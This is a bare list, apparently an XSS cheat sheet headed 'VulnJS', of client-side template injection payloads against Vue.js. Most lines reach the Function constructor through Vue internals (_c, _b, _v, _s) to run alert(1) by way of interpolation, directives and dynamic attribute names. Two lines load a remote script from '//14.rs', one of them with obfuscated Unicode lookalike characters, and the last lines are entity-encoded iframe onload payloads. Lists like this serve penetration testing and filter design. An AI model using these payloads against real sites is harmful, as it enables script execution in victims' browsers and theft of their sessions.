VulnJS

{{constructor.constructor('alert(1)')()}}

<div v-html="''.constructor.constructor('alert(1)')()">a</div>

<x v-html=_c.constructor('alert(1)')()>

<x v-if=_c.constructor('alert(1)')()>

{{_c.constructor('alert(1)')()}}

{{_v.constructor('alert(1)')()}}

{{_s.constructor('alert(1)')()}}

<p v-show="_c.constructor`alert(1)`()">

<x v-on:click='_b.constructor`alert(1)`()'>click</x>

<x v-bind:a='_b.constructor`alert(1)`()'>

<x @[_b.constructor`alert(1)`()]>

<x :[_b.constructor`alert(1)`()]>

<p v-=_c.constructor`alert(1)`()>

<x #[_c.constructor`alert(1)`()]>

<p :=_c.constructor`alert(1)`()>

{{_c.constructor('alert(1)')()}}

{{_b.constructor`alert(1)`()}}

<x v-bind:is="'script'" src="//14.rs" />

<x is=script src=//⑭.₨>

<x @click='_b.constructor`alert(1)`()'>click</x>

<x @[_b.constructor`alert(1)`()]>

<x :[_b.constructor`alert(1)`()]>

<x #[_c.constructor`alert(1)`()]>

<x title"=&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">

<x title"=&lt;iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)&gt;">